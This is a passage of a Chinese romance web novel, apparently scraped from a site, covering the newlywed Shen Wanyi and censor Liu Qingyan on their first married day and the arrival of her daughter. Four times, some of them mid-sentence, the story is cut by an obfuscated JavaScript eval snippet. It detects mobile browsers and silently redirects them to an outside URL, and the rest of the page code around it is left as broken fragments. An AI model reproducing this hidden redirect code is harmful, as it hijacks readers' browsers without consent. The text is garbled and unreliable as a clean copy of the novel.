柳青砚回来时,沈婉仪已经彻底梳洗完毕,怕着凉,她换上寝衣后又在外面披了一件披风,在榻边静坐着,显然是在等他。 沈婉仪刚刚已经睡了一小觉,顿时觉得自己的精气神恢复过来些。 刚刚柳青砚叫醒她时,她注意到他的衣服很是工整,丝毫不像睡过觉的模样,她有些疑惑,难道他独坐了半夜不成? 莫非是他睡不惯那美人榻,才如此难以入眠?沈婉仪于是便想等他回来提议与他换换。 “大人,要不,我还是去睡美人榻吧。” “为何?可是这床睡不惯?”柳青砚想起她刚刚翻身的动作,更觉如此。 “睡得惯。我只是怕大人您睡不好觉。”沈婉仪说完,视线落在那美人榻平整的毯子上,那里显然没有被人动过。 柳青砚随着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943789|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线向后看,蓦地明白了她的意思,他温和地解释道,“我是想着待会儿要叫人进来,就干脆没睡一直侯着了。” 还真坐了半夜? 沈婉仪抿了抿唇,没想到她随口一句提醒,他却如此上心,尽管她的本意是让他也先休息一会来着,谁知道他却当成是她特意提醒他。 “难为大人了。” 柳青砚摇了摇头,轻声道,“夜晚寒凉,阿婉衣着单薄,还是早些歇息吧。” 确实已经很晚了,刚刚芸香进来时告诉她,已经丑时过半了,这下是真的可以彻底休息了。 沈婉仪微微颔首,也礼貌地回了一句,“大人今日也定是累极了,也早些休息吧。” “嗯。” 两人说完便各自走向自己的卧榻之处,再无言语。 刚刚亮起的屋子没过多久又重新陷入昏暗,唯有两盏龙凤烛依旧燃烧着。 沈婉仪虽刚刚睡醒没多久,但沾了枕头后倦意便又重新席卷而来,不多时,她已然重新睡去。 另一侧的榻上的人,从她入睡开始便调整姿势改成了侧卧,他的目光落在对面熟睡之人身上,久久未动。 彻夜不眠的人不只有这一个。 永安王府。 萧延从今日回府便被他父亲罚去了祠堂跪着,等到夜晚他父亲回来,更是狠狠地赏赐了他好一顿家法,连带着他的跟班王五都一起受了罚。 旁边施刑的人一开始拿不准力道,只按照以往的力度往轻了打,谁知萧启承看到后更是怒火中烧,直接将棍子夺了过去亲自上阵。 萧启承此次是动了真格的,用来惩罚的木棒都有好几斤重,把萧炎打得皮开肉绽后都还不罢休,若不是后面萧炎的世子妃来声泪俱下地求情,恐怕他的家法都还不会停。 萧炎一开始还不服,叫嚷着他说的都是实话,为什么他爹要拦着他不让说。 萧启承听到他的话后,感觉自己额头上的青筋都忍不住跳了跳,恨铁不成钢地问,“你是不是觉得只有你最厉害?别人都不知道的事就只有你知道?” “有些人知道又如何,他们即使知道也是揣着明白装糊涂,我不过要在众人面前撕破这个小人的面具!”萧延用自己仅剩不多的力气吼道。 “那别人都知道揣着明白装糊涂,你个蠢货怎么不知道呢?” 萧延这才有些后知后觉,“爹,什么意思?有人拦着他们不让说?” “是谁?” 萧启承面色铁青地看着自己这个不争气的儿子,“你说呢?谁还能一次性叫这么多朝中大臣管好自己的嘴?” 萧延愣住了,他张了张嘴,吐出连自己都不敢置信的两个字,“圣上?” “你还不算太笨。” “为何?为何圣上要保他?” “能为何,自然是圣上要用他。”萧启承今日为自己这个儿子操了不少的心,此刻面对儿子的愚蠢问题,更觉得身心俱疲。 “你觉得你都能查到的事圣上会查不到?即便圣上知道了这件事,圣上也仍要启用他,可见他当下在陛下眼中的分量。” “这几年朝中大臣始终碌碌无为,陛下本就求贤若渴,你今日若是一闹,让圣上无法再用他,你觉得圣上还会对你宽容相待吗?” “更别说,今日这桩婚事本就是圣上赐的婚,你还敢去闹!我看你是嫌脑袋在脖子上待的太久了些!”萧启承语气陡然加重,手上的力道也加重几分。 疼痛令萧延的反应快了些,回想今日这一切,顿时一阵后怕,但屁股上传来撕心裂肺之感让他连带着牙齿都忍不住打颤,话到了嘴边也变了调,只剩带着嘶喊的求饶。 萧启承看到他血淋淋的伤口,估摸着他起码得有个大半年下不床,这才觉得能给圣上交个差。 他动作停下之时,萧延已然疼的昏过了。 他叫下人将他搬回自己的房间,并且吩咐下去,世子即使伤好之后也得再禁足半年才可出门。 “去找个人给他治伤。” 吩咐完这一切,萧启承才如释重负地回了房。 23. 第 23 章 婚后第二日,新妇需得拜见公婆。 但因柳青砚的父母都已去世,家中也无其他长辈,沈婉仪需要拜见的便只剩祠堂上的牌位了。 她醒来时,柳青砚已经收拾塌上的锦被出去了,房间里只剩她一人。 她看了看外面的天色,此时晨光熹微,院子里还有尚未散去的雾气,连带着院子里的月桂都挂满了霜。 时节渐向冬日里走,晨起都能感受到寒意,沈婉仪怕冷,越是冷的日子里她越是惫懒,若是无事,恨不得一整日都窝在被子里。 可是这样并不现实,是以冬日的时候,她大都待在暖阁里,只有觉得闷了,才会偶尔移步去外面走走,透透气。 芸香听到她的声音进来的时候,她刚好从床榻上下来,“怎么没叫我?” 虽沈婉仪起得并不算迟,但照理来说,她应当同新郎一同起床才是。 “新姑爷......姑爷说,姑娘昨日劳累,让我们不必叫你,这样姑娘才好多歇息一会儿。”芸香为沈婉仪盘了个高锥髻,插了一对白玉镂蝶恋花珍珠梳篦,既显典雅又不失庄重。 沈婉仪今日上身穿的是一身藕荷色长衫,下半身则是穿着正红鎏金四合如意纹的百褶裙,一走一动间露出裙摆的红色,既显喜庆却又不张扬。 芸香为她理好衣襟,朝着门喊道,“春桃,秋菊,你们进来吧。” 她话音刚落下不久,便从门外进来了两个模样清秀的侍女。 眼睛圆圆的那个瞧着要小一些,声音清脆,如同黄鹂鸟一般,“奴婢春桃见过夫人。” 细长眼的这个则看着要年长一些,声音也比起另一个要沉稳许多,“奴婢秋菊见过夫人。” 芸香接着介绍道,“这是姑爷派过来伺候的,以后她们俩和我一起伺候夫人。” 按照规矩,主子嫁人之后便成了家,对主子的称呼也应当随之变化,称呼为“夫人”。 但沈婉仪自梁钺去世后便回了沈国公府,为了方便称呼,沈婉仪于是让芸香和兰黛她们按照她尚未出阁时那般称呼她。 可现在沈婉仪又嫁人了,柳府里面人多眼杂,芸香便不好再在人前称呼沈婉仪为“姑娘”。 于是她便按着规矩与柳府其他下人一起称呼她为“夫人”,但私下相处时,她还是习惯按照原来的称呼。 沈婉仪对此并未觉得有何不妥,芸香从小陪着她一同长大,她怎么称呼自己对她而言并未有何不同,总归是在叫她罢了。 并且她其实也喜欢芸香称呼自己为“姑娘”,因为这总让她想起她们少时那些一起陪伴着的时光,叫“夫人”反倒显得生分了。 “柳......夫君呢?”梁钺去世后,沈婉仪便好几年没有叫过这个称呼,这下喊出口却是再称呼另一个人,一时觉得有些不习惯。 见她问起大人,春桃立刻眉飞色舞地抢答道,“公子有要事一早就去了书房,吩咐我们若是夫人起了可以先伺候夫人用早膳,待夫人用完早膳后再去寻他。”她一口气说得飞快,生怕别人插进话来。 她身旁的秋菊见她噼里啪啦说了一通,悄悄扯了扯她的袖子,她却不解还疑惑地看了她一眼。 秋菊无奈叹了一口气,上前一步行了一礼代她赔罪,“夫人见怪,春桃刚进府来不久,性子有些急。” 沈婉仪挥了挥手让她退下,“无碍。性子爽朗是好事,只是日后在人前须得沉的住气。” “走吧,我们去书房。” 春桃闻言,还以为自己刚刚说得太快,沈婉仪没有听见,特意出声提醒,“夫人,公子说让您可以用完早膳再去寻他。” 沈婉仪轻轻扫了她一眼,问,“他没说我一定要吃完再去找他吧?” 听到这话,春桃声音弱弱地回答,“没有.....” “这便是了,走吧,带路。” 柳青砚的书房离后院并不算太远,秋菊在前带着路,沈婉仪几人穿过几道月洞门与一小段回廊便到了。 刚刚收拾完出来,天色已然见晓,去往书房的路上,沈婉仪一边缓步慢行着,一边打量着这府里的布局,她刚刚所在的后院除了昨晚睡得那间主卧,左右两侧都还有厢房,届时梁盈过来便可以安置此处。 出了月洞门,抄手游廊曲折通幽,从廊檐下望出去恰巧能看见阶下的几株鸡爪槭,掌叶皴红,裂瓣分明,层层叠叠燃得似霞似火,沾了露水映着晨光,叶色透亮得宛如琥珀,将这满院都浸染了几分秋意。 书房院子里倒也是种的桂花,此时开得正盛,风过处有暗香浮动。 沈婉仪一路上看过来,只觉此处虽无世家大族的煊赫气派,却也处处雅致规整,还透着几分清净,想来主人布置这府邸应该花了不少心思。 刚走到院子里没几步,书房里面的人仿佛听到了动静,略显匆忙地打开门迎了出来。 今日不必上值,又是成婚后第一日,柳青砚通身穿了绯色大袖圆领袍,比起昨日的正红倒是更显风流倜傥。 他推开门见到沈婉仪,见到她单薄的衣裳,皱了皱眉,“阿婉,你怎么没披上披风?一路过来可觉得冷?快进屋子里来。” 确实有些冷,但沈婉仪还不至于连这一小段路的这点风都扛不住,柳青砚的这反应也太过小题大做了些。 即便是要扮演体贴的夫君,这似乎也有些过了。 面对柳青砚的邀请,沈婉仪并未挪动脚步,“我来是叫......夫君一同用早膳的。”这两个字说出口,沈婉仪都得先在口中酝酿一遍,才能减少那种奇怪的感觉。 听到她还未吃早膳就来找他,柳青砚心中一热,但旋即又抬眼看向她身后的春桃、秋菊两人。 “不是叫你们先伺候夫人用早膳吗?” 听到诘问,身后的春桃立马上前有些委屈地解释道,“奴婢刚刚提醒过夫人了,但夫人坚持要先来找公子用早膳,奴婢们不敢违逆夫人的意思,于是就只好先带夫人来找公子了。” 这话倒是不假,沈婉仪在她说完之后便紧跟着解释道,“春桃说的话是真的,是我径直叫她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952408|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们带着我过来的。” 还以为是下人没把她放在眼里,此刻听到沈婉仪为春桃说话,知道春桃所说没有在作假,柳青砚的脸色柔了下来,“你们先下去准备早膳吧。” 芸香知道她家姑娘和公子有话要说,知趣地与春桃和秋菊下去了。 沈婉仪随着柳青砚的脚步一起进了书房,刚进去她便道,“晚些时阿盈过来便让她住在后院的西厢房吧,刚好那里离得我近些。” “一切都听你安排。” 沈婉仪想了想刚刚那两人,道,“大人之前在万鹤楼是曾说,成亲过后将会待我如府上贵客,此话可还作数?” 柳青砚听到这话,面色一下冷了几分,“可是刚刚那两人对你有怠慢之处?”他刚刚听到春桃告状时便这样想,不过沈婉仪解了围他才没有追究。 现在乍然又听见沈婉仪说起这事,更是以为她们二人怠慢了她。 “她们很好,并没有怠慢我的地方。” “只是想着大人府上耳目众多,若是我时时被人跟着,怕是便不能当一个清净的‘客人’了。” 沈婉仪虽之前对御史中丞有些了解,但显然也没了解得很是透彻,她竟不知,柳青砚居然有这么多人盯着。 但她这话倒也不是怀疑春桃和秋菊二人的身份,只是挑明了她日后会面对的一种处境。 她来之前是只想安静过完这段时间的,昨夜柳青砚说完那些话之后,她睡前便思考了一番,这柳府里如此多的耳目,那她岂不是大部分时间都得扮好一个妻子才行? 这和柳青砚当初说的贵客便有些对不上了吧? 她还从未见过哪家府里的贵客需得做一个妻子该做的事的。 今日春桃和秋菊二人的出现,沈婉仪更是在心底决定了一件事,便是她要她身边柳府的人越少越好,这样她才不必时刻维持着柳青砚夫人的身份。 “阿婉,我没有说到做到,很抱歉。”提起这事,柳青砚的眉峰蹙起,满眼尽是愧疚。 他也不敢再看沈婉仪,眸光沉沉落在地上上,唇线抿成了一道平直的弧线。 “大人,我知道你的难处。” 毕竟就算把这些人都赶出去,再招进来的人也是大差不差的,只要有心,总会有人把视线插进来。 见柳青砚自责的模样,沈婉仪宽慰道,“大人,我说这话的意思也不是在怪你。我只是想说,大人日后就不用特意派人到我身边伺候了。” “我那边若是人手不够的话,自己随时叫人就可以了。” “一切都听阿婉的。”听见沈婉仪没有怪他,柳青砚嘴角的弧度也不再那么僵硬。 正巧此时芸香来报早膳差不多已经备齐了。 柳青砚听着门外的声音,向她伸出手,语气温和又柔软,“阿婉,你饿了吧?我们一同去吃早膳吧。” 想着饭厅那边都是下人,沈婉仪犹豫了一会儿,在心中叹了一口气,“走吧。” 她将自己的手放在了柳青砚的手心里,由着他握住。 24. 第 24 章 柳青砚说完缓缓侧过头看向她,或许是香案上的烛火太过旺盛,沈婉仪觉得他此刻的眼睛亮得惊人,仿佛也有某种不知名的火焰在其中燃烧。 不知怎的,她忽地就不敢与之对望。 她强令自己不去在意身旁之人灼热的目光,她跪在蒲团上,望着柳家世代的列祖列宗温声道,“柳家列祖列宗在上,妾身沈婉仪,嫁与柳氏子孙柳青砚为妻,今日随夫一同拜谒先祖。往后既为柳氏妻子一日,便尽一日分内之责,与夫君相敬如宾,以礼相待。” “今已此言,上尉先祖。” 与柳青砚的誓言相比,沈婉仪的这番话可谓是相当保守。 她向来是不擅撒谎的,更何况这里是祠堂,面对的可是整个柳氏的列祖列宗,她不愿在这样的场合下说出违心之言。 柳青砚刚刚的话虽不知真假,但这承诺实在许得太过郑重,若是假的,想来他家的列祖列宗也不会真的显灵降罚于他,若是真的...... 沈婉仪还是宁愿相信他说的话是假话。 她虽不知柳青砚为何要在先祖面前许下以后很大可能做不到的承诺,但是换她自己来,她说的话便全然是肺腑之言了。 日后她只要还顶着柳青砚“妻子”的这个名号,她必然是会做到恪尽职守,让人挑不出错处的。 但和离后她会做出怎样的选择,那便是她的私事了。是以,她才没有和柳青砚一样,在誓言中说出什么“相伴不离”“直至白首”的话。 说了又做不到的话,在列祖列宗面前说出来,实在是令人汗颜。 等她说完,两人一同持香躬身,举香至额,恭敬地将手中的三柱香拜入香炉中,而后再重新跪在蒲团之上,留下三叩首。 礼毕,屋外的下人也适时过来回禀,“公子,夫人,早膳准备好了。” 去饭厅的路上,两人并肩而行。 沈婉仪犹豫着要不要问柳青砚刚刚为何在祖宗面前留下那番话。 她犹豫的点在于,现在话已出口,不可能再尽数收回,现在去了解背后的原因好像也无济于事。 但若是不问,她又始终充满疑虑,明明可以像她一样说一些无关紧要的话,这柳大人为何要立下如此重誓。 她这副欲言又止的模样,全部被身旁的人尽收眼底。 看她实在为难,柳青砚好心地准备为她解惑,“阿婉,我刚刚那一番话是不是吓到你了?” 原本正在全心全意想着刚刚祠堂的发生的事,骤然被问起心中所想,沈婉仪有些局促,但她很快便调整了过来,从容缓声道,“谈不上惊讶,更多的只是疑惑,疑惑大人何出此举。” 若是寻常的夫妻,那番话倒也谈不上令人疑惑,可沈婉仪与柳青砚又不是寻常夫妻,他刚刚的那番话像是要把他自己所有的后路堵死似的,这如何不让人疑惑。 柳青砚的唇角噙着抹浅淡的笑意,语气温柔道,“柳家虽不是什么高门大户,但我自小便被父母教导,婚姻一事乃是儿女人生大事,不可在此事上敷衍了事,列祖列宗若见子孙婚姻圆满,家庭幸福,在黄泉之下也可安生。” “是以我刚刚那番话虽听上去十分郑重,但阿婉不必为此而感到忧虑,我不过是想在列祖列宗面前做个安分守礼的子孙罢了。阿婉与我这婚事既已昭告亲友,拜谒先祖,自然要做得周全体面,让先祖也能安心才是。“ 十分合乎情理的一段话,似乎挑出不什么错处。 但沈婉仪还是觉得有些奇怪,既是要让列祖列宗安心,为何不坦然相告,若是知道他的苦衷,列祖列宗想来也会原谅他的此举才是。 可是这想法刚出,沈婉仪忽地想起来,她的这个假设根本不成立,因为若是真的说起来,柳青砚根本就没有什么苦衷,所谓的苦衷似乎全部来自于她。 他若是不为了所谓的”报恩“,不卷入这桩婚事,不用掉那道圣旨,他哪里来的什么苦衷。 他仍是那个独善其身的清贵御史,没有被永安王父子所记恨上。 他虽是主动牵扯进来,但沈婉仪想,她既用他做跳板,躲过了萧延,自己不该如此对他刨根问底才是。 她只要在这柳府里与他相安无事的度过一段日子,静待和离之日到来便够了。 想通了此事,沈婉仪的脑海也清明了许多,不打算再继续纠结这细枝末节的奇怪之处。 她抬眼,清亮的眼眸全然不复刚刚的纠结,她声音柔和道,“大人一片孝心,妾身明白了。” 见已然抵达饭厅,进门前柳青砚朝她眨了眨眼,小声提醒道,”阿婉,人多眼杂,可不要继续称呼我为大人了。” 沈婉仪轻声应道,“嗯。” 也没什么不好应承的,沈婉仪自小在祖母膝下长大,食不言的习惯她一直保留至今,根本用不着唤人。 饭厅内早已摆好膳食,仆从垂首立在两侧,见二人进来齐齐躬身。 刚一落座,柳青砚便拦住了立在沈婉仪身旁准备布菜的芸香,“我来吧。” 芸香一愣,回头看了看沈婉仪,见她家姑娘点头,她才放开了筷子。 沈婉仪坐得端直,只夹自己面前的菜,席间虽柳青砚频频给她布菜,她皆颔首致谢。 直至最后碗里实在是放不下了,沈婉仪才无奈启唇开口,“夫君,我实在吃不下了,不用给我夹菜了。” 柳青砚听到这声夫君,才终于停下了夹菜的手,他眼底有一闪而过的狡黠,只是沈婉仪正犯难地看着碗中的菜,没有注意到。 “阿婉不必感到为难,吃不完的给我便是。” “这怎么行?!”沈婉仪闻言瞪大了双眼,这未免也太过失礼。 柳青砚却理所应当地答道,“一粥一饭,当思来处不易,浪费粮食才是真正的大不敬。你我夫妻一体,你吃剩的,我自然吃得。” 沈婉仪一时语塞,竟找不出反驳的话来,只垂眸专注吃碗里的菜来。 她耳尖微红,觉得有些窘然,只觉这人虽看着温和有礼,却老是能找一些冠冕堂皇的理由将她堵得无话可说,还真不愧是御史,一张嘴字字在理,叫她连反驳的话都无从下手。 柳青砚自然也看见了她耳尖上的薄红,他看得心头微动,唇角笑意愈深,未曾想他的阿婉面皮竟然如此之薄,半点也经不起调侃。 二人这副你来我往的模样落在旁人眼里正是刚成婚的小夫妻蜜里调油的模样。 沈婉仪最终还是将碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968401|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的食物都吃完了,她实在是不愿柳青砚吃她碗里所剩的东西。 好在柳青砚夹的菜看着是满满一碗,但都是一些小食,实则并不占肚子。 拜见过柳家的列祖列宗,今日的要事就算完成了,吃完早膳,柳青砚打算带着她四处转转,熟悉整个柳府。 沈婉仪记起晨起时春桃说他有要事,提议道,“夫君还是先去忙吧,我自己转转就行。” “刚刚阿婉来书房找我时就已经忙完了,阿婉不必担心。” 这下只能两人一起了。 两人从饭厅出来,柳青砚走在前方,将沿途经过的每间屋子都一一与沈婉仪介绍着,“从这里往后走便是后院,刚刚从祠堂过来其实是绕了一小段路。” “书房过去的两边除了静室还设有厢房,若是有客人来可以安置在此处。除了这里,后院上房的左右两侧都还设置有厢房,下午阿盈过来,便可以安置在此处。” 沈婉仪今早出来时也是瞧见了的,刚刚听他说起厢房,正好想提此事,未曾想他的想法竟与她一致。 “阿盈来后,院子里或许会吵闹不少,我在此先替她向大人赔不是了。” “阿婉,别这样多礼。”柳青砚指了指身后不远处站着的下人,提醒她,“哪有夫人整日和夫君不是在道谢就是在道歉的?” “更何况你我二人既已拜堂成亲,那我怎么也算阿盈的爹爹,当然要多包容她,对她好了。” 听到“爹爹”二字,沈婉仪忽然觉得有些底气不足。 她之前曾让梁盈自己选择是否叫柳青砚“爹爹”,若是她之后一直与柳青砚生分,不肯唤他“爹爹”那场面便有些尴尬了。 不过转念一想,她毕竟是小孩,想来柳青砚也不会因此和她计较。 但以防万一,她还是先旁敲侧击地提醒道,“阿盈还小,或许一时无法改变对大......夫君的称呼,还望夫君莫要与她计较。” “阿婉放心,我当然不会和她计较这些。” “那便多谢夫君了。” 二人行至莲池边,沈婉仪吩咐下人等候在月洞门前,自己和柳青砚走进池心亭。 满池荷叶已褪尽盛夏浓绿,或卷或垂,枯黄相间铺展水面,残荷茎秆亭亭玉立,疏疏朗朗,偶见几朵睡莲凝着秋露正静静躺在水面,淡紫浅白的花瓣半阖半开,贴在清浅池面上,莹润如玉,风过处枯荷轻响,睡莲微动,一池秋水澄澈,映得亭中人衣袂清浅。 沈婉仪望着前面人轻拂的衣角,轻声道,“大人,我想与你商量一件事。” “阿婉你说。” “日后大人不必特意派人到我院里伺候,我那边若是人手不够随时唤人便可以了。” “春桃和秋菊姑且先留在我那处吧,到时候阿盈过来,叫她们其中一个再去跟着她便差不多了。” 梁盈那边还带着个兰黛,离她也就只隔了一间院子,也用不着那么多人伺候。 沈婉仪的想法很简单,便是要她身边柳府的人越少越好,没有人看着,这样她才不必时刻以柳青砚夫人的身份自居。 也不必整日整日地唤着柳青砚“夫君”。 柳青砚闻言温声答了一个“好”字。 25. 第 25 章 快到傍晚的时候,梁盈过来了。 沈婉仪和柳青砚早些时候就收到了消息,两人一同在府门前迎她,身后还跟着几个下人。 沈婉仪将梁盈的住处安置在了后院的西厢房,那里与她仅隔着一个院子,平常梁盈来找她也方便。 不过是一日未见,梁盈下马车见到她时却十分兴奋和激动,像个小炮仗似的,一下便钻进了她的怀里。 沈婉仪被她强劲的力道撞得几乎站不稳身体,脚步踉跄之际,腰后忽被一股温厚的力道轻轻托住,她诧异回头,见柳青砚立在她的身侧,手掌扶住她的腰间,温声道,“阿婉,没事吧。” 见沈婉仪回答“没事”,他便立刻收回了手,礼数十分周全的模样。 但无人知晓宽大袖袍之下,他正悄然摩挲着指尖,即使隔着锦缎方才触到的温软触感仍然清晰的过分,他悄无声息地滚了滚喉结。 沈婉仪没注意身侧之人的微小动静,她圈住怀中的小人,抬手揉了揉她的发顶,无奈道,“才一日不见,怎的这般莽撞。” 虽听着像责怪之言,但却丝毫没有责怪之意。 梁盈显然也明白她娘亲没有怪她的意思,只一头埋在沈婉仪的怀中撒着娇,声音甜甜的,“好长时间没和娘亲分开这么久了,我想娘亲嘛。” 梁盈这话倒不假。 自她出生以来,沈婉仪几乎整日都在她身边陪伴着,是以她虽未满一周岁,父亲就出征了,但母亲的陪伴让她并不觉得自己得到的爱护比旁人少。 当然这里面也少不了爱她的外祖父和外祖母的缘故。 “娘亲,昨日府上来的客人特别多,我又见到阿瑶姐姐和连奚哥哥啦!”重新见到小伙伴让梁盈的话中都添上了愉悦的色彩。 沈婉仪轻轻捏住女儿的鼻子摇了摇,“那你和她们玩得开不开心呀?” “开心!我和阿瑶姐姐玩了一整天!虽然连奚哥哥还是一副不理人的模样,但他还是一直都陪着我们,我的毽子还是他找回来的呢!” 沈婉仪听着,内心寻思这两个孩子应是受了她表妹张氏的嘱咐特意陪着梁盈的,尤其是曲连奚。 这个男孩她是知道的,小小年纪活像个老学究,性格沉静,寡言少语,连他的妹妹曲瑶他都嫌吵闹,更别说梁盈了。 想来是永兴寺梁盈走丢一事,两人回去都受到了张氏的责怪,于是这次两人便不再随着梁盈一同胡闹,曲连奚也担起了看顾好两人的责任。 “对了,娘亲,阿瑶姐姐告诉我,她不久后就要和连奚哥哥一起去丞相大人家的私塾啦,听说那里可以交好多朋友呢!”梁盈说着,乌黑明亮的眸子里装满了艳羡。 沈婉仪捏着女儿鼻尖的手一顿,几年前,她怀上梁盈时就曾和梁钺讨论过将来女儿若是请教书先生,请哪家的比较好。 沈婉仪的祖母出自于书香门第,她自小养在祖母身边,自然也认为女儿长大后应当温婉端庄、知书达理。 故而她当时的想法是请个上京城中盛名的女先生来府上,专门教梁盈诗词歌赋和琴棋书画。 可梁钺却不赞成,他乃是将门出身,祖孙三代都是武将,自然不愿梁家女儿一点拳脚功夫都不会,只能困在宅院里当个弱不禁风的大家闺秀。 于是当时他便提议道,等梁盈每日完成了先生布置的课业,他这个做父亲的再亲自教女儿一些功夫,这样既能让女儿学习到笔墨诗书,又能强身健体,且日后若是不幸遇到坏人还能有自保之力。 梁钺的想法听上去挺好,但沈婉仪仔细一琢磨却实在是太折腾女儿了。 她自己是琴棋书画都学过的,若是让女儿一整日学完了这些,还要去跟着父亲扎马步的话,沈婉仪光是想想女儿那劳累的模样,都觉得心疼的不行,她于是断然拒绝了梁钺的提议。 后来两人为着请先生这一事二人各执一词,一来二去,竟是谁也不肯退让半分。 到最后两人促膝长谈达成合意,待女儿懂事后自己抉择学习什么,于是请先生的事,便搁置了下来,不了了之。 现在沈婉仪回想起那时,梁盈甚至都还没有出生,她们二人便为了这事争执得有来有回的,也真是无聊至极。 现乍然又听女儿提起私塾,沈婉仪脑海里不由地浮现出往日与梁钺争执的一些画面,有些失神。 不知为何,沈婉仪总觉得自己在梁钺面前便总是忍不住与他较真气闷,动辄便红了脸与他辩驳,全然不复在外人面前沉静的模样。 “阿盈的年纪也可以去私塾了,要不我去找老师商量一下,把阿盈一起送过去吧。” 思绪被打断,沈婉仪侧身望向柳青砚。 话到嘴边还未出口,梁盈高兴的声音已然在耳边炸响。 “父亲,你说的话是真的吗?” 听到这个称呼,沈婉仪和柳青砚皆是一震,两人的目光瞬时聚在梁盈身上,皆是不可置信。 梁盈没感受到两人的异常,但见两人都没有反应,她便从沈婉仪的怀里伸出手来去拉柳青砚的袖袍。 她借着袖袍摇了摇柳青砚的手,问,“父亲,娘常说君子一言,驷马难追。父亲若是君子,想来刚刚说的话应该不是假话吧?” 沈婉怡仅是愣了片刻就反应过来,梁盈的性子沈父沈母也是知晓的,想来应是怕是她到柳府之后祸从口出,于是两人便叮嘱她把称呼改了。 这本来也没什么,按规矩来讲确实应该如此。 只是沈婉怡上午才和柳青砚说了那话,现在梁盈却脱口而出这般亲昵之言,场面难免有些尴尬。 沈婉仪不禁抬眼去看柳青砚。 只见他被雷击似的彻底呆立在原地,仿佛被人施了定身咒一般,半晌都没回过神来。 沈婉仪瞧着他这副模样,忽觉得有些后悔,早晨应该再和他把话说清楚些的,她女儿时常这样语出惊人,她与父母和女儿一起生活了几年,偶尔还是会被女儿的突发奇想震惊到,更别说没和女儿见过几面的柳青砚了。 柳青砚确实被这几声“父亲”给惊住了,梁盈刚刚唤他时,他甚至下意识地看了看周围有没有其他的什么人,确认她在唤自己之后,他素来清明的头脑一瞬间竟然有些飘飘然。 因为他忽地生出一股错觉。 一股名为“家”的错觉来。 其实这股错觉从他刚刚跟着阿婉从府里出来在路边等待梁盈马车的时候,就已经若隐若现了。 她身旁这个位置,在建宁十三年的时候,是独属于那个已经死去的人的。 而现在,是他守在她的身旁。 是他在陪她一起等着女儿。 尽管女儿不是他亲生的又何妨?她刚刚不还是照样喊了她父亲。 父亲是谁? 只有母亲的丈夫才能被称为父亲。 父亲,母亲,女儿都在此处,谁能说他们不是一家人? 柳青砚的喉结不可控制轻轻滚动了一下,梁盈这几声不经意的称呼,让他的周身气息仿佛都生出了暖意,他的心底也悄然泛起了一丝温软。 “父亲,你怎么不说话?” 梁盈见被她唤做父亲的人一动不动,还以为他是要反悔,有些着急的去够他的手。 她的手很小,并不能完全握住柳青砚的手,于是她就只握住了他中指到小指之间的三根手指。 她又重新摇了摇他的手,眼眸之中带着一丝怀疑,“父亲,你该不会是想要反悔吧?” 见女儿不依不饶,一定要得出个答案的样子,沈婉仪眉峰微蹙,上前一步,将女儿摇晃的手拉了回来。 她声音轻缓却带着几分不容置喙的力道,“阿盈,不可无礼。” 她的这声也成功唤回了柳青砚的思绪,只见他蹲下身,和善地朝着梁盈笑了笑,声音里面尽是宠溺,“那父亲自然要做一个君子,给我们阿盈树个榜样。” 梁盈见自己的请求被应允,顿时高兴得眉飞色舞起来。 可是刚高兴了一秒,便听见才答应她的这个人说,“但我们还是得先问过娘亲的意见才能做决定。” 梁盈那股雀跃劲儿霎时消散了一半,她垮下小脸,扭身重新扑进沈婉仪怀里,脑袋在她腹部里蹭来蹭去,用着软糯的声音撒着娇,“娘亲~娘亲~” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983562|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你就答应嘛,我真的很想和阿瑶姐姐她们一起去私塾。” 沈婉仪被她蹭得无奈失笑,却也没有一口答应。 她转头回望,“夫君也知道这个私塾吗?” 尽管柳青砚知道他的阿婉是碍于在下人面前才叫他“夫君”,可是他刚刚才被梁盈叫做父亲,现下又被沈婉仪唤做夫君,他只觉飘飘然之感更甚。 妻女双全,他和阿婉才是真正的一家人。 想到此,他眼中的眸光更甚,回答沈婉仪问题时语气也更加温柔,“知晓的。” 